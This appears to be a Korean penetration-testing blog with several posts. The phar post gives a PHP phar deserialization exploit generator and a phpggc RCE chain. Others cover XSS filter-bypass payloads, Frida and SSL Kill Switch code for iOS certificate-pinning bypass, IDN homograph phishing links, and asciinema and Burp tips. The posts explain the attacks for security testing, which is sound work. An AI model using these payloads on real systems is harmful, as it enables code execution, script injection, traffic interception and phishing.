*Stream wrappers : http:// file:// zlib:// phar:// 등등...

예시를 보면 이런식으로 사용합니다.

<?php
  include 'phar:///path/to/myphar.phar/file.php' ;
  // myphar.phar 내 file.php를 불러옵니다. 
?>

include로 직접 php 파일을 불러오는 것과 유사하지만, 실제 파일은 myphar.phar 하나이며 이 archive 내에 있는 여러 코드를 하위 경로로 불러와서 사용할 수 있다는 점이 다릅니다.

Phar Structure

Phar 파일은 4가지의 구조로 이루어져있습니다.

- Stub
- Manifest
- File contents
- Signature (Optional)

Stub은 작은 형태의 코드를 담을 수 있는 공간입니다. Stub에 저장된 코드는 phar/stub.php에 저장되며 별도로 지정하지 않으면 phar 코드를 실행하는 코드(7k 정도)가 기본값으로 들어있습니다.
해당 영역에 __HALT_COMPILER(); 코드가 있어야 phar 파일로 인식합니다.

Manifest엔 해당 phar 파일에 대한 meta 데이터가 있습니다.

Phar Manifest file entry
Size in bytes     Description
4 bytes         Filename length in bytes
??              Filename (length specified in previous)
4 bytes         Un-compressed file size in bytes
4 bytes         Unix timestamp of file
4 bytes         Compressed file size in bytes
4 bytes         CRC32 checksum of un-compressed file contents
4 bytes         Bit-mapped File-specific flags
4 bytes         Serialized File Meta-data length (0 for none)
??                 Serialized File Meta-data, stored in serialize() format

File Contents는 phar내 데이터 영역입니다.
Signature는 phar에 대한 시그니처(개소리)

Deserialize Vulnerability

읽다가 어? 한 부분이 있을수도 있습니다. phar의 재미있는점은 Manifest에 있는데,
마지막의 byte 내용을 보면 serialize() 포맷에 맞는 Serialized 데이터의 영역입니다. 곧 해당 파일을 사용할 때 Deserialize 하여 사용한다는 이야기이고, 이는 곧 Deserialize 취약점에 노출될 수 있다는 소리입니다.

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); // stub 영역입니다. 
    $o = new TestObject();
    $o -> data='hahwul';
    $phar->setMetadata($o); // manifest에 데이터를 씁니다. TestObject 객체를 생성해서 값을 채운 후 객체 데이터가 들어갔습니다.
                            // phar 파일의 manifest 영역엔 Serialized된 TestObject 객체가 들어가게 됩니다. 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

해당 파일을 불러오는 쪽 코드에서 아래와 같이 TestObject 객체가 있고 __destruct() 함수에 data를 찍도록 정의되어 있다면 위 데이터에 들어간 hahwul이 찍히게 됩니다.

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;    // Result : hahwul
    }
}
include('phar://phar.phar');
?>

Manifest의 Serialized 구간은 __destruct 와 __wakeup 시 로드되어 실행됩니다. 코드상에 __destruct(), __wakeup()이 있는 객체 선언이 있어야하며, phar 파일 업로드 및 로드가 가능한 구간이 있다면 충분히 테스트해볼 가치가 있습니다.
예시에선 include로 로드하였었지만, file_exists(),fopen(), file(), file_get_contents(), include() 등 phar 처리가 가능한 function들이 많이 있어서 이 부분은 생각보다 잘 나올 수 있습니다.
특히나 파일 업로드 구간에 file_exists()가 있는 경우는 많기 떄문에 좋은 트리거 포인트가 될 수 있죠.

만약 phar 파일을 올릴 수 있는 구간이 있고 아래와 같이 우리가 입력한 파라미터 값을 가지고 file_exists를 호출하는 페이지가 있다고 하면..

file.php
<?php
$filename=$_GET['path'];
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

공격자는 stub를 GIF90a 즉 gif 이미지로 맞추어 검증 로직을 속일 수 있는 phar 파일을 만들 수 있습니다. 위의 __destruct() 내 eval로 싫애되는 output 값에 공격자가 실행할 php 명령이 들어가게 되면 공격코드가 삽입된 phar 파일이 만들어지게 됩니다.

pay_gen.php
<?php
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new imgObject();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

이제 file.php를 통해 이 파일을 불러와보면 phpinfo()가 실행된 걸 볼 수 있습니다.

http://192.168.0.13:9494/file.php?path=phar://tempdir/phar.phar/phar.gif

Make Payloads

아 위에 코드로 phar 파일이 생성이 안되는 경우가 있는데 php.ini 파일에 phar.readonly가 off로 설정하지 않으면 phar 생성이 불가능합니다. 옵션을 바꿔주시면 됩니다.
(기반값이 1 즉, 사용이라... / 참고 http://php.net/manual/en/phar.configuration.php)

음 위에선 테스트 코드로 하느라 eval로 불렀지만 실제론 아닐겁니다. 코드 넣기가 까다롭기 때문에 Gadget Chain을 이용합니다. (PHP Generic Gadget Chains)
ysoserial에 php가 있음 참 좋겠지만 없기 떄문에 phpggc(https://github.com/ambionics/phpggc)로 직접 만들어줍니다.
(git issue 보며 ysoserial 쪽에선 gitter로 질문하랬지만, 전 잘 안보이네요. 아마 ysoserial에서 php 코드 올리는거 있을겁니다. 찾아보시길.. https://gitter.im/frohoff/ysoserial)

#> phpggc 
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Phar 처리가 가능한 functions

생각보다 많습니다.. 심지어 자주 사용되는 것들..

file()
filetime()
filectime()
fileatime()
file_put_contents()
fileinode()
file_exists()
filegroup()
fileowner()
file_get_contents()
fopen()
fileperms()
is_dir()
is_readable()
is_executable()
is_writable()
is_writeable()
is_file()
is_link()
parse_ini_file()
copy()
unlink()
stat()
readfile()

Defense & Solution

결국은 phar에 대한 업로드 제한, 검증과 phar 구조의 마지막인 Signature(다만 옵셔널,,ㅎ하핳) 정도가 있을듯하네요.
결국은 업로드된 phar 파일 이를 불러오는 함수간의 관계에 얽힌거라 정확한 솔루션에 대해선 고민이 더 있어야할듯 싶습니다. (이거까지 고민하면 뭔가 업무가 되는 느낌...ㅋㅋㅋ)

Reference

https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
http://php.net/manual/en/book.phar.php
http://php.net/manual/en/phar.fileformat.phar.php
Share: | Coffee Me:

11/11/2018

asciinema - Linux/Macos에서의 터미널 녹화 프로그램

Record and share your terminal sessions, the right way

그냥.. 이미지에요

가끔 기술 블로그들 보면 동영상으로 터미널 화면을 설명하는데, youtube나 vimeo가 아니 화면에 복사/붙여넣기가 가능한 영상을 올리시는 분들이 있습니다.
asciinema라는 녹화 프로그램&공유서비스인데요, 가끔 요긴하게 쓰일 것 같아 글로 작성해둡니다.

생긴지는 좀 된 서비스같네요. 리눅스/맥 환경만 지원하며 apt, brew 등으로 간편하게 설치할 수 있습니다.

Linux
#> apt-get install asciinema

Macos
#> brew isntall asciinema

옵션을 보면 .. rec, play, cat, upload, auth 정도로 옵션을 주어서 녹화할껀지, 볼껀지, 업로드할껀지 등을 고를 수 있습니다.

#> asciinema
usage: asciinema [-h] [--version] {rec,play,cat,upload,auth} ...

Record and share your terminal sessions, the right way.

positional arguments:
  {rec,play,cat,upload,auth}
    rec                 Record terminal session
    play                Replay terminal session
    cat                 Print full output of terminal session
    upload              Upload locally saved terminal session to asciinema.org
    auth                Manage recordings on asciinema.org account

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

example usage:
  Record terminal and upload it to asciinema.org:
    asciinema rec
  Record terminal to local file:
    asciinema rec demo.cast
  Record terminal and upload it to asciinema.org, specifying title:
    asciinema rec -t "My git tutorial"
  Record terminal to local file, limiting idle time to max 2.5 sec:
    asciinema rec -i 2.5 demo.cast
  Replay terminal recording from local file:
    asciinema play demo.cast
  Replay terminal recording hosted on asciinema.org:
    asciinema play https://asciinema.org/a/difqlgx86ym6emrmd8u62yqu8
  Print full output of recorded session:
    asciinema cat demo.cast

이런 형태로 .cast 파일로 저장할 수 있습니다.

#> asciinema rec test.cast

(-t 옵션으로 타이틀만 지정해줄 시 asciinema 홈페이지로 업로드하여 cdn 처럼 사용할 수 있습니다. )

보통은 asciinema 사이트로 올리거나 .cast 파일 저장 후 따로 올려서 사용하는데요, 어렵지 않습니다.

cast 파일은 asciinema player로 재생이 가능하며 공식 git에서 플레이어 js/css를 배포하고 있습니다.
웹 페이지에서 로드해준 후 아래와 같이 태그 형태로 불러주면 잘 로드됩니다.

js, css 다운로드 : https://github.com/asciinema/asciinema-player/releases

<asciinema-player src="/cast/xxxxxx.cast"></asciinema-player>
Share: | Coffee Me:

11/01/2018

Burp suite Daracula(dark) Theme Release!


오늘이 할로윈이라 그런가요. Burp 팀에서 좋은 소식을 주었습니다.
(어제 밤에 글써놓고 뻗어서 자버렸네요....)


2.0.10beta 버전 업데이트인데요, 정말 기다려왔던 Dark 테마 적용에 대한 업데이트였습니다.
(할 수 없어서 이런식으로 쓰고있었지요.. https://www.hahwul.com/2018/07/owasp-zap-burp-suite-change-color.html)

깔끔하고 좋네요!

업데이트 후 User options > Display > Look and feel 에 “Daracula”가 추가되어 있습니다.



Share: | Coffee Me:

10/31/2018

Review on recent xss tricks (몇가지 XSS 트릭들 살펴보기)

XSS 테스트 벡터들 자주 찾아보곤(또는 공유받거나 눈에 걸리거나..) 하는데 최근에 포스팅 쓸만큼 특별한건 없었고 간단한 트릭정도 몇개 올라와서 정리해서 한번에 글 작성합니다.

details 태그 + ontoggle + open

details 태그에 open, ontoggle 속성을 이용해서 바로 스크립트 실행이 가능합니다. ontoggle은 details 태그 부분이 선택(?)되었을 때 트리거되는데, open 속성으로 바로 열 수 있어 즉시 트리거가 가능합니다.
(details 태그 그거에요.. 더보기, 아주 옜날에는 직접 만들어쓰셨겠지만, html5에 포함되어 이젠 태그로 쉽게 구현이 가능합니다.)

<dETAILS/open/onToGgle=a=prompt,a(45) x>

여담으로 태그 내 속성 구별 구간에서 개행문자 삽입 시 akamai ghost에서 필터링 패스할 수 있다고 하네요.

<!-- bypass Akamai Ghost -->
<dETAILS%0aopen%0aonToGgle%0a=a=prompt,a(45) x>

output 태그와 &NewLine;

처음에 새로운 방법인가 했는데, 결국은 onclick의 eval로 코드를 실행하는 형태입니다. 다만 눈여겨 볼껀 &NewLine;의 존재입니다.
(전 저렇게 쓰는거 첨봐서...)

<output name="jAvAsCriPt://&NewLine;\u0061ler&#116(1)" onclick="eval(name)">X</output>

XSS Payloads 쪽에 New Vector라고 올라와서 좀 의아했었는데, 다르분도 비슷하게 생각했더군요. 결국은 원작자도 트릭을 이야기한 것 뿐.


iframe srcdoc + window.name

마지막으로 요런 코드가 하나 나돌았었늗네요, iframe 가지고 약간 장난친 케이스입니다.

p.html
<script> window.name =`<script>alert(45)<\/script>`; document.location="./v.html" </script>

v.html
<iframe/onload=srcdoc=window.name > 

p.html에서 window.name에 실제 동작할 공격코드 저장 후 location이 바뀐 뒤 해당 페이지의 iframe에서 onload로 JS영역으로 흘린 후 srcdoc에 window.name에 있던 데이터(<script> 구문)을 넣어서 트리거합니다.

onload에서 이미 js 구무을 넘겼다느 점에선 XSS 삽입 부분에선 특이한게 없었고, 공격 코드를 다른 페이지에 두고 사용하는 방법 정도로 생각하심 될듯합니다.


Share: | Coffee Me:

10/30/2018

iOS에서의 SSL Pinning Bypass(with frida)

피닝 적용이 된 앱들이 좀 있다보니 모바일 앱 분석에선 언피닝이 거의 필수 코스가 되어가고 있습니다. 보통 Frida 코드(짜거나 codeshare에서 가져다 쓰거나)로 우회합니다.

#> frida --codeshare dki/ios10-ssl-bypass -U “앱이름"

안드로이드는 피닝을 위해 CertificateFactory로 만들어지는 인증서 저장소에 burp 인증서 같이 분석용 인증서를 생성해 넣거나 시스템 인증서 저장 공간을 바라보도록 하는데요.
iOS는 어떤 방식으로 우회해서 사용하는지 정리해둘까 합니다.

How to use?

여러 방법이 있겠지만, 솔직히 프리다가 가장 편합니다. 특이사항이 없는 경우 codeshare에서 끌어쓰는게 가장 간편합니다.
(코드 작성해서 사용해도, codeshare쪽 보면서 작성하시는게 헷갈리지 않고 도움됩니다)

갓리다!

iOS는 버전별로 우회방법이 좀 다릅니다. 그리고 작성한 방법 이외에도 충분히 많은 방법들이 있을겁니다.

iOS 11 & iOS 10

iOS 10, 11 버전에선 TLS 쪽 코드 중 tls_helper_craete_peer_trust 부분이 실제 검증되는 부분이고 frida를 통해 후킹하여 이 부분의 내용을 재정의하거나 변조하면 우회할 수 있습니다.

Kill Switch(https://github.com/nabla-c0d3/ssl-kill-switch2/blob/master/SSLKillSwitch/SSLKillSwitch.m) 쪽 코드를 보면 이렇습니다.

NSProcessInfo *processInfo = [NSProcessInfo processInfo];
if ([processInfo respondsToSelector:@selector(isOperatingSystemAtLeastVersion:)] && [processInfo isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){11, 0, 0}])
{
// Support for iOS 11
void* handle = dlopen("/usr/lib/libnetwork.dylib", RTLD_NOW);
void *tls_helper_create_peer_trust = dlsym(handle, "nw_tls_create_peer_trust");
if (tls_helper_create_peer_trust)
{
MSHookFunction((void *) tls_helper_create_peer_trust, (void *) replaced_tls_helper_create_peer_trust, (void **) &original_tls_helper_create_peer_trust);
}
}

else if ([processInfo respondsToSelector:@selector(isOperatingSystemAtLeastVersion:)] && [processInfo isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){10, 0, 0}])
{
// Support for iOS 10
void *tls_helper_create_peer_trust = dlsym(RTLD_DEFAULT, "tls_helper_create_peer_trust");
MSHookFunction((void *) tls_helper_create_peer_trust, (void *) replaced_tls_helper_create_peer_trust, (void **) &original_tls_helper_create_peer_trust);

10, 11 모두 각각 tls_helper_craete_peer_trust, nw_tls_helper_craete_peer_trust 라이브러리에 인증서 검증 로직이 존재하고 이 부분을 패스하면 피닝 우회가 가능합니다. (진짜 인증서인지 검증 못하니깐)

좀 더 자세히 보면 app developers에는 이렇게 정의되어 있습니다.

OSStatus tls_helper_create_peer_trust(tls_handshake_t hdsk, bool server, SecTrustRef *trustRef);

(https://opensource.apple.com/source/coreTLS/coreTLS-121.1.1/coretls_cfhelpers/tls_helpers.h.auto.html)

tls_handshake_t, bool, SecTrustRef(req 검색, 인증서 체인 검증을 위해..)의 값들이 들어가고 OSStatus 형의 return을 가집니다.
OSSStatus는 Apple에서 사용하는 상태 정보에 대한 자료형(https://developer.apple.com/documentation/kernel/osstatus?language=objc)입니다.

그럼 다시 이야기하면 tls_helper_craete_peer_trust 를 읽어서 frida의 replace로 코드를 변경하여 원래 코드를 안거치고 바로 return을 넘겨줍니다.
(물론 return 포맷은 맞춰야합니다. OSStatus)

return errSecSuccess; 
// var errSecSuccess: OSStatus { get }

그렇게되면 인증서 검증 로직을 거치지 않기 때문에 우회가 가능합니다. 이렇게 보면 안드로이드의 CertificateFactory와 비슷하긴 하네요.

Frida 코드로 바꾸면 이렇습니다.

function gggo() {
    // ios 10, 11에 따라 tls_helper_create_peer_trust, nw_tls_helper_create_peer_trust 를 읽어오고.. 
    // 훅 이후 replace로 무조건 errSecSuccess를 리턴하도록 바꿔줍니다. 
   
    Interceptor.replace(tls_helper_create_peer_trust, new NativeCallback(function(hdsk, server, trustRef) {
        return errSecSuccess;
    }, 'int', ['pointer', 'bool', 'pointer']));
    console.log("SSL certificate validation bypass active");
}

iOS 9

iOS 9버전 이하는.. 조금 더 많은 변경 사항이 필요한데요. 3가지 함수를 동일한 방법으로 바꿔줍니다.

SSLHandshake
SSLSetSessionOption
SSLCreateContext

아래 문서 읽어보시면 좋습니다.
https://nabla-c0d3.github.io/blog/2013/08/20/ios-ssl-kill-switch-v0-dot-5-released/

#pragma mark SecureTransport hooks - iOS 9 and below
// Explanation here: https://nabla-c0d3.github.io/blog/2013/08/20/ios-ssl-kill-switch-v0-dot-5-released/
static OSStatus (*original_SSLSetSessionOption)(SSLContextRef context,
SSLSessionOption option,
Boolean value);
static OSStatus replaced_SSLSetSessionOption(SSLContextRef context,
SSLSessionOption option,
Boolean value)
{
// Remove the ability to modify the value of the kSSLSessionOptionBreakOnServerAuth option
if (option == kSSLSessionOptionBreakOnServerAuth)
{
return noErr;
}
return original_SSLSetSessionOption(context, option, value);
}


static SSLContextRef (*original_SSLCreateContext)(CFAllocatorRef alloc,
SSLProtocolSide protocolSide,
SSLConnectionType connectionType);

static SSLContextRef replaced_SSLCreateContext(CFAllocatorRef alloc,
SSLProtocolSide protocolSide,
SSLConnectionType connectionType)
{
SSLContextRef sslContext = original_SSLCreateContext(alloc, protocolSide, connectionType);
// Immediately set the kSSLSessionOptionBreakOnServerAuth option in order to disable cert validation
original_SSLSetSessionOption(sslContext, kSSLSessionOptionBreakOnServerAuth, true);
return sslContext;
}

static OSStatus (*original_SSLHandshake)(SSLContextRef context);
static OSStatus replaced_SSLHandshake(SSLContextRef context)
{

OSStatus result = original_SSLHandshake(context);
// Hijack the flow when breaking on server authentication

if (result == errSSLServerAuthCompleted)
{
// Do not check the cert and call SSLHandshake() again
return original_SSLHandshake(context);
}
return result;
}
Share: | Coffee Me:

10/23/2018

LOKIDN - IDN HomoGraph Attack의 재미있는 공격 벡터

한 2주전쯤인가요? EDB에서 재미있는 문서 하나를 보았습니다.
(https://www.exploit-db.com/docs/english/45567-lokidn-a-new-vector-for-homograph-attacks.pdf)

내용인 즉슨 IDN Homograph attack의 새로운 공격 벡터라고 하는데 읽어보고 있을 수 있을법한 이야기네란 생각이 있었습니다.
이제서야 글로 작성해보네요. 

IDN Homograph attack인 LOKIDN 입니다.

IDN HomoGraph Attack

IDN HomoGraph Attack은 서로 다른 비슷한 문자를 이용해 어떤 도메인과 통신하는지 속이는 공격입니다. (눈속임이죠)
보통 피싱에서 많이 사용되고 솔직히 눈썰미 좋은거 아니면 문자셋에 따라 눈치채기 정말 어렵습니다.

단순하게 A의 예시로만 보아도..

일반적인 영문자 A (https://en.wikipedia.org/wiki/A) 와
키릴문자 А (https://en.wikipedia.org/wiki/A_(Cyrillic))

눈으로 구별이 ... 당연히 안가겠죠. (구별하면 인정해줘야합니다..전 모르겠네요)

이런 문자열을 이용해서 마치 애플 사이트 같이 (Apple.com) A가 키릴문자로 구성된 Apple.com으로 도메인을 생성하여 사용자를 낚을 수 있습니다.

라틴어, 키릴문자, 그리스어 영문자랑 유사하거나 동일한 문자 형태이지만 실제로 Bytecode가 다른 문자셋을 이용합니다. 그래서 보통은 미리 구성된 링크(a tag 등)를 사용자에게 클릭하도록 유도하거나 Open Redirect를 이용해서 마치 공식적인 페이지로 접근한 것 처럼 사용자를 속일 수 있는거지요.
(물론 SSL Chain 보면 금방 알겠지만, 보안에 관심있는 분 아니라면 대다수가 그냥 넘어갑니다..)

공격 코드 예시 생각해보면 뭐 이런식이겠죠.

<a href='https://Аpple.com'>Apple 홈페이지에서 보기</a>

주소는 애플 사 홈페이지인 Apple.com이지만 실제로 코드 링크 타고 들어가보면 없는 도메인으로 연결됩니다.



어떻게 라틴어나 키릴문자로 도메인을 만들지? 란 생각이 드실 수 있는데요, 이걸 가능하게 해주는게 바로 IDN(Internationalized Domain name) Structure입니다.
보통 도메인은 아스키로 제한되지만 유니코드로 된 문자를 아스키로 치환하여 사용하는 경우들이 있습니다.

대표적으로 한글 도메인인데요. 예를들면 한글.com 이라는 도메인에 대해 보면

Original Query: 한글.com
Showing results for: xn--bj0bj06e.com

이렇게 xn--bj0bj06e.com으로 매핑됩니다. ping만 때려봐도 같은 주소란걸 알 수 있죠.

root@HAHWUL:/home/hahwul/# ping 한글.com
PING 한글.com (202.31.187.154) 56(84) bytes of data.
64 bytes from 202.31.187.154 (202.31.187.154): icmp_seq=1 ttl=52 time=8.11 ms
^C
--- 한글.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 8.118/8.118/8.118/0.000 ms

root@HAHWUL:/home/hahwul/# ping xn--bj0bj06e.com
PING 한글.com (202.31.187.154) 56(84) bytes of data.
64 bytes from 202.31.187.154 (202.31.187.154): icmp_seq=1 ttl=52 time=8.31 ms
64 bytes from 202.31.187.154 (202.31.187.154): icmp_seq=2 ttl=52 time=8.76 ms

이런 IDN specification은 많은 국가에서 사용되고 있습니다.

What's new Vector? LOKIDN

그럼 과연 문서 작성자는 어떤것이 새로운 공격 벡터라고 이야기하고 있을까요?

LOKIDN
Lapse of Keyboard at Internationalized Domain Name

IDN에서 키보드의 Lapse.

Lapse.
    1. (기억·말 등의 사소한)착오,실수,잘못(slip)


의미만 보면 키보드 실수로 인한 IDN HomoGraph Attack 이라고 해석되는데요. 링크나 피싱 사이트에서 사용하는 IDN Homograph가 어떻게 키보드와 연관되는 걸까요.
우선 LOKIDN이 트리거 가능한 경우는 관리자가 코드 작성 시 css, script 링크 등에 잘못 입력하였을 때 가능하다고 하는데요. 이 가능성을 올려주는게 바로 키보드 자동 치환입니다.

보통 랩탑들을 보면 자국어 설정에 따라 문자를 치환해주는 경우들이 있습니다. 당장 한글만 봐도 한/영 전환된 영문자 상태에서 한글을 입력해도 자동으로 한글으로 치환되듯이 라틴어,그리스어 등 영어와 유사한 언어셋의 키보드에서도 동일하게 치환합니다.

또한 일부 키보드 소프트웨어 옵션으로 키를 길게 누르거나 특정 키가 눌리는 경우 해당 언어를 치환해주게 되는데 이런 부분들에서 관리자의 실수가 발생할 수 있습니다.

이 부분이 핵심이 부분이며 이를 통해 관리자가 놓친 실수를 찾으면 CSS 조작이나 JS 조작등을 할 수 있습니다.

How to find?

그럼 관리자가 놓친 부분들은 어떻게 찾을까요? 헤드리스 브라우저에서 Error 발생에 대해 체크할 수 있는지는 모르겠는데(된다면 자동화!!) 아니라면 그냥 수동으로 찾는게 답일 것 같습니다.
개발자 도구 여시고.. CSS/JS 오류 나는것 중 도메인을 못찾는 경우를 찾아가며 실수한 부분이 있는지 찾고, 있다면 해당 도메인을 점유할 수 있는지 체크해봐야겠죠.
(이런면에선 subdomain takeover와도 비슷한점이 있네요)

Reference

https://en.wikipedia.org/wiki/IDN_homograph_attack
https://www.exploit-db.com/docs/english/45567-lokidn-a-new-vector-for-homograph-attacks.pdf
Share: | Coffee Me: